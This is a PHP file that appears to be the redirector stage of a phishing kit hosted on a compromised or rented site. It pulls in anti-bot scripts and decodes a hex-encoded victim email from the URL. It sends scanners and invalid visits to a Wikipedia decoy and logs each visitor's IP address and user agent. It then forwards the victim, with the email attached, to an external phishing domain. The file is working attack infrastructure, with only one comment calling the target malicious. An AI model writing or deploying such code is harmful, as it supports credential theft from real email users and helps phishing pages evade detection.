File: /home/nciq25gegoxa/public_html/ha8x/index.php
<?php
error_reporting(0);
require 'anti.php';
// require 'anti2.php';
require 'antibot.php';
// Get the 'cl' parameter and parse it
$cl = explode('/', $_GET['cl']);
$get = $cl[0];
$pieces = explode("-", $get);
$email = $pieces[0];
// Validate email
if ($email == "") {
header('Location: https://en.wikipedia.org/wiki/Art');
exit;
}
$email64 = hex2bin($email);
if (strpos($email64, '@') === false) {
header('Location: https://en.wikipedia.org/wiki/Art');
exit;
}
// Log visit
$file = fopen("clicks.txt", "a");
fwrite($file, $_SERVER['REMOTE_ADDR'] . ' ' . $_SERVER['HTTP_USER_AGENT'] . "rn");
fclose($file);
// Generate session token
$praga = md5(rand());
// Redirect to malicious/tracking URL - using original hex value instead of decoded email
header("Location: https://leanestate.de/drv30c23goo53c23goo23googlec5530c23589a/#{$email}");
exit;
?>